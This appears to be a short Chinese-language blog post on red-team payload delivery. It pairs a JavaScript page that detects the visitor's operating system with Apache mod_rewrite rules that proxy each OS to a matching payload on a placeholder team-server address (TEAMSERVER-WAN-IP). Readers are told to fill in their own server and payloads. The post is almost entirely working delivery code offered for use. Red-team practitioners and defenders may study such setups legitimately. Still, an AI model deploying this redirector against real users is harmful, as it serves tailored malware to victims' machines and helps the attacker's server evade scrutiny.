Operating System Based Redirection with Apache mod_rewrite

可以通过此针对不同操作系统来执行不同的paylaod

index.html:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<html><head></head>
<body>

<script>
var url_base='http://'+window.location.host;
var OSName="unknown";
var query_string=document.location.search;
var request_path=window.location.pathname.substr(1);
if (navigator.appVersion.indexOf("Win")!=-1) OSName="windows";
if (navigator.appVersion.indexOf("Mac")!=-1) OSName="mac";
if (navigator.appVersion.indexOf("X11")!=-1) OSName="unix";
if (navigator.appVersion.indexOf("Linux")!=-1) OSName="linux";

var os_string='&os_id='+OSName;
if (query_string == '') os_string='?os_id='+OSName;
if (query_string.indexOf("os_id=")!=-1) os_string='';

window.location.replace(url_base+'/'+request_path+query_string+os_string);

</script>

</body></html>

mod_rewrite 规则:

将下面的规则写在.htaccess文件中,更换TEAMSERVER-WAN-IP以及OS-payload

1
2
3
4
5
6
7
8
9
10
11
12
RewriteEngine On
RewriteCond %{QUERY_STRING} os_id=mac
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/MAC-OS-X-PAYLOAD [P]
RewriteCond %{QUERY_STRING} os_id=windows
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/WINDOWS-PAYLOAD [P]
RewriteCond %{QUERY_STRING} os_id=unix
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/UNIX-PAYLOAD [P]
RewriteCond %{QUERY_STRING} os_id=linux
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/LINUX-PAYLOAD [P]
RewriteCond %{QUERY_STRING} os_id=unknown
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/UNKNOWN-OS-PAYLOAD [P]
RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/OS-DETECTOR.HTML [P]

演示如下:
os-detection-demo.gif

详情:戳我

配置文件在这里:戳我

------本文结束,感谢阅读------